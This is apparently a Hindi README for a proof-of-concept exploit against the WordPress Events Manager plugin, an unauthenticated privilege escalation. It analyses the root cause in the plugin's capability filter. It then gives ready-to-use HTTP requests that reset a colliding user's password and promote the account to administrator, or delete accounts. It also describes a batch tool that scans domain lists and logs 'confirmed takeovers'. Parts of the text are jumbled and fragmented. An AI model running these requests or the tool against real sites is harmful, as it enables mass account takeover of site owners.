
WordPress Events Manager < 7.4.1 के लिए बिना प्रमाणीकरण वाला विशेषाधिकार-वृद्धि (privilege-escalation) PoC; यह टकराने वाली (colliding) पोस्ट/यूज़र आईडी का पता लगाता है और REST या wp-admin के माध्यम से लक्ष्यों को व्यवस्थापक (administrator) तक बढ़ाता है।
| उत्पाद | Events Manager (वर्डप्रेस प्लगइन) |
| प्रभावित संस्करण | 7.1.0 – 7.4.0.x |
| सुधारित संस्करण | 7.4.1 |
| कमजोरी | CWE-269: अनुचित विशेषाधिकार प्रबंधन |
| गंभीरता | CVSS 3.1: 9.8 (क्रिटिकल) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB आईडी | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| मूल शोधकर्ता | Jakub Herman |
| विवरण और PoC | ghostpel |
poc.py)।Events Manager के 7.1.0 से 7.4.0.x संस्करणों में एक विशेषाधिकार वृद्धि भेद्यता है जो पूरी तरह से बिना प्रमाणीकरण वाले हमलावर को किसी भी उपयोगकर्ता खाते पर कब्ज़ा करने की अनुमति देती है जिसकी ID प्लगइन के अपने पोस्ट (event / location / event-recurring / location-recurring) में से किसी एक की ID से टकराती है। यह टक्कर (collision) उन साइटों पर बलपूर्वक की जा सकती है जहाँ अतिथि बुकिंग सक्षम है (डिफ़ॉल्ट): हर अतिथि बुकिंग एक वास्तविक उपयोगकर्ता खाता बनाती है और wp_users ऑटो-इन्क्रीमेंट काउंटर को एक से बढ़ा देती है, जिससे हमलावर उपयोगकर्ता ID स्पेस को किसी event/location पोस्ट ID पर "चल" सकता है।
मूल कारण: प्लगइन का map_meta_cap फ़िल्टर किसी भी मेटा क्षमता के लिए वर्डप्रेस द्वारा पहले से गणना की गई क्षमता सूची ($caps = []) को त्याग देता है, जब क्षमता का ऑब्जेक्ट ID किसी event/location पोस्ट पर हल होता है — जिसमें वर्डप्रेस कोर क्षमताएँ जैसे edit_user, delete_user, promote_user, और remove_user शामिल हैं। एक खाली क्षमता सूची "कोई क्षमता आवश्यक नहीं" के रूप में पढ़ी जाती है — अर्थात सभी के लिए अनुमति, जिसमें लॉग-आउट उपयोगकर्ता भी शामिल हैं।
परिणाम (सभी बिना प्रमाणीकरण, WP REST API के माध्यम से): किसी भी टकराने वाले खाते का पासवर्ड बदलें, उसे administrator में बढ़ाएँ, या उसे हटाएँ।
विश्लेषित संस्करण: 7.4.0.1 (असुरक्षित) — 7.4.1 (ठीक किया गया) से तुलना की गई।
| संस्करण | स्थिति |
|---|---|
| ≤ 7.0.5 | प्रभावित नहीं (legacy em_map_meta_cap केवल EM की अपनी क्षमताओं को संभालता है) |
| 7.1.0 – 7.4.0.x | असुरक्षित (त्रुटिपूर्ण वाली आर्किटाइप प्रणाली 7.1.0 में शुरू की गई थी) |
map_meta_cap $caps को खाली कर देता हैclasses/em-archetypes.php (संस्करण 7.4.0.1):
परिणाम: हर current_user_can('edit_user', X) / delete_user / promote_user / remove_user जाँच TRUE लौटाती है जब भी X किसी event/location पोस्ट की ID के बराबर होती है। प्लगइन "वर्डप्रेस द्वारा पहले से लिए गए अभिगम नियंत्रण निर्णयों को त्याग देता है" — बिल्कुल WPScan द्वारा वर्णित अनुसार।
7.4.0.1 की तुलना 7.4.1 से करके सत्यापित किया गया: अब रीसेट प्रत्येक शाखा में सटीक क्षमता मिलान द्वारा संरक्षित है (जैसे && $c['read'][$post->post_type] == $cap), इसलिए $caps केवल तब खाली होती है जब अनुरोधित क्षमता वास्तव में एक आर्किटाइप मेटा कैप होती है। पैच टिप्पणी: "किसी भी ऑब्जेक्ट-वाहक कैप पर रीसेट करने से असंबंधित कैप (जैसे edit_user, promote_user) के लिए आवश्यकता सूची खाली हो जाती थी, जो अनुमति के रूप में पढ़ी जाती है।"
REST Users एंडपॉइंट्स (/wp-json/wp/v2/users/{id}) में कोई ग्लोबल लॉगिन गेट नहीं है — अभिगम नियंत्रण पूरी तरह से अनुमति कॉलबैक के माध्यम से होता है, ये सभी उसी map_meta_cap फ़िल्टर से होकर गुजरते हैं:
दुष्प्रभाव: edit_comment भी प्रभावित होता है जब एक टिप्पणी ID किसी event/location पोस्ट ID के बराबर होती है (wp_comments तालिका संख्यात्मक स्थान साझा करती है)।
टक्कर इसलिए मौजूद है क्योंकि wp_users.ID और wp_posts.ID स्वतंत्र ऑटो-इन्क्रीमेंट अनुक्रम हैं जो अनिवार्य रूप से ओवरलैप होते हैं। अतिथि बुकिंग इसे बलपूर्वक लागू करती है:
em-install.php:896 — dbem_bookings_anonymous = 1: अतिथि बुकिंग डिफ़ॉल्ट रूप से सक्षम; :871 dbem_bookings_registration_disable = 0 (पंजीकरण सक्षम)।em-actions.php:340-344 — booking_add $booking_nopriv_actions में है → बिना लॉगिन कॉल करने योग्य (wp_ajax_nopriv_booking_add के माध्यम से, प्राथमिकता 999999, पंक्तियाँ :817-830, या wp_loaded :11)।em-actions.php:360-375 — booking_add प्रवाह: → → → → । (नॉन्स केवल CSRF सुरक्षा है — नॉन्स सार्वजनिक बुकिंग फ़ॉर्म पर प्रस्तुत किया जाता है, इसलिए कोई भी इसे प्राप्त कर सकता है।)ऑडिट के दौरान देखी गई द्वितीयक श्रृंखला (बुकिंग विशेषता person_id के माध्यम से) — events-manager.php:430-437 (em_load_event, बिना लॉगिन $_REQUEST['person_id'] से $EM_Person), em-booking.php:1060-1072 (get_person() नई बुकिंग के person_id को ओवरराइड करता है), em-booking.php:2004-2006 (can_manage() = बिना ID वाली बुकिंग के लिए TRUE), em-functions.php:448-449 — 7.4.1 में अपरिवर्तित; यह एक अलग वेक्टर है (बुकिंग गलत-विशेषता), इस CVE का मूल नहीं है।
/wp-json/wp/v2/event, या अनुक्रमिक-ID ब्रूट फोर्स)। मान लें कि लक्ष्य N है।N प्राप्त करे:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N वाला खाता हमलावर का होता है (पासवर्ड हमलावर के पते पर ईमेल किया जाता है)।PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user अनुमति कॉलबैक पास हो जाते हैं क्योंकि get_post(N) एक event/location पोस्ट पर हल होता है → $caps = []।
(यदि एक — जैसे पुराना एडमिन — पहले से ही किसी event पोस्ट ID से टकराती हुई ID रखता है, तो चरण 2 अनावश्यक है; हमलावर सीधे उस खाते पर कब्ज़ा कर लेता है।)event/location CPT पंजीकृत)।poc.pypoc.py एक अतुल्यकालिक (asyncio + aiohttp) बैच PoC है जो प्रति लक्ष्य: EM संस्करण का फिंगरप्रिंट लेता है (असुरक्षित श्रेणी [7.1, 7.4.1) तक सीमित), बाहर से पहुँच योग्य EM पोस्ट ID खोजता है (WP साइटमैप → /locations/, वैकल्पिक रूप से बुकिंग-फ़ॉर्म क्रॉल), खोजे गए ID पर मौजूदा उपयोगकर्ता खाते (टक्कर की स्थिति) की जाँच करता है, और जो टकराते हैं उन्हें बढ़ाता है — REST चैनल के माध्यम से, या wp-admin चैनल के माध्यम से जब सत्र प्रदान किया जाता है और REST अवरुद्ध होता है। कोई ब्लाइंड यूज़र-रेंज स्वीप, कोई अतिथि बुकिंग, कोई खाता निर्माण नहीं।
रनर सभी I/O को एक ही इवेंट लूप पर मल्टीप्लेक्स करता है (I/O-बाउंड होने पर लगभग 0% CPU; -t कोर के बजाय समवर्तीता सीमित करता है), लूप पर केवल बाउंडेड 64 KiB हेड चंक स्कैन करता है, भारी पार्स (साइटमैप XML, क्रॉल-पेज बंडल, प्रोफ़ाइल फ़ॉर्म) को asyncio.to_thread के माध्यम से वर्कर थ्रेड्स पर ऑफलोड करता है, और हर पेज प्रयास पर पोलाइटनेस देरी लागू करता है। फोर्सिंग लॉजिक स्वयं अपरिवर्तित है (वही गेट, वही ओरेकल, वही सत्यापन)।
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
आवश्यकताएँ: Python 3.9+, pip install aiohttp।
परिणाम hasil.txt (पुष्टि किए गए अधिग्रहण) और id-post.txt (हर असुरक्षित डोमेन जहाँ EM पोस्ट ID खोजे गए, collision=yes/no/unknown के साथ) में स्ट्रीम किए जाते हैं।
नोट: यह PoC 7.4.0.1 स्रोत के स्थैतिक विश्लेषण और 7.4.1 पैच अंतर से स्वतंत्र रूप से पुनर्निर्मित किया गया था — यह WPScan PoC नहीं है।
केवल अधिकृत सुरक्षा परीक्षण। केवल उन प्रणालियों के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है। PoC सादे HTTP अनुरोध करता है — कोई चोरी नहीं; यह लॉग/IDS में दिखाई दे सकता है।
dbem_bookings_anonymous), WAF स्तर पर users REST एंडपॉइंट्स प्रतिबंधित करें, और पासवर्ड परिवर्तन, भूमिका वृद्धि और खाता विलोपन की निगरानी करें।map_meta_cap| 7.4.1 | ठीक किया गया |
| पंक्ति | कोड | भूमिका |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | ग्लोबल, बिना शर्त फ़िल्टर — हर वर्डप्रेस मेटा-क्षमता जाँच के लिए चलता है, जिसमें कोर और लॉग-आउट उपयोगकर्ताओं के लिए भी शामिल है |
:547 | if ( !empty( $args[0] ) ) { | क्षमता का ऑब्जेक्ट पोस्ट ID के रूप में लिया जाता है |
:548 | $post = get_post($args[0]); | ID टक्कर: लक्षित यूज़र ID (जैसे edit_user कैप के लिए) को पोस्ट ID माना जाता है |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | क्षमता सूची बिना शर्त त्याग दी जाती है — भले ही अनुरोधित कैप read/edit/delete_event आर्किटाइप कैप न हो |
:568/577/584 | if/elseif branches | $caps केवल तब भरी जाती है जब $cap किसी आर्किटाइप मेटा कैप से बिल्कुल मेल खाती है; edit_user, delete_user, promote_user, remove_user के लिए कोई शाखा मेल नहीं खाती → $caps खाली रहती है |
:597 | return $caps; | खाली सरणी = "कोई क्षमता आवश्यक नहीं" = सभी के लिए अनुमति, जिसमें यूज़र ID 0 भी शामिल है |
| क्रिया | एंडपॉइंट / कोर फ़ंक्शन | बाइपास की गई क्षमता |
|---|
| लक्षित खाते का पासवर्ड बदलें | PUT /wp-json/wp/v2/users/{id} के साथ {"password":"..."} → wp_update_user() (आंतरिक edit_user जाँच) | edit_user |
| खाते को एडमिनिस्ट्रेटर तक बढ़ाएँ | PUT /wp-json/wp/v2/users/{id} के साथ {"roles":["administrator"]} | promote_user |
| खाता हटाएँ | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (आंतरिक delete_user जाँच) | delete_user |
| (मल्टीसाइट) किसी उपयोगकर्ता को ब्लॉग से निकालें | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — अतिथि शाखा: हमलावर के ईमेल के साथ em_register_new_user($user_data)।em-functions.php:510 — wp_insert_user($user_data) → wp_users ऑटो-इन्क्रीमेंट प्रति अतिथि बुकिंग 1 से बढ़ता है → हमलावर यूज़र ID काउंटर की वृद्धि दर को नियंत्रित करता है जब तक कि यह वांछित event/location पोस्ट ID पर न पहुँच जाए (WPScan: "प्रत्येक अतिथि बुकिंग एक वास्तविक उपयोगकर्ता खाता बनाती है और यूज़र ID काउंटर को एक से बढ़ाती है")।NDELETE /wp-json/wp/v2/users/M?reassign=N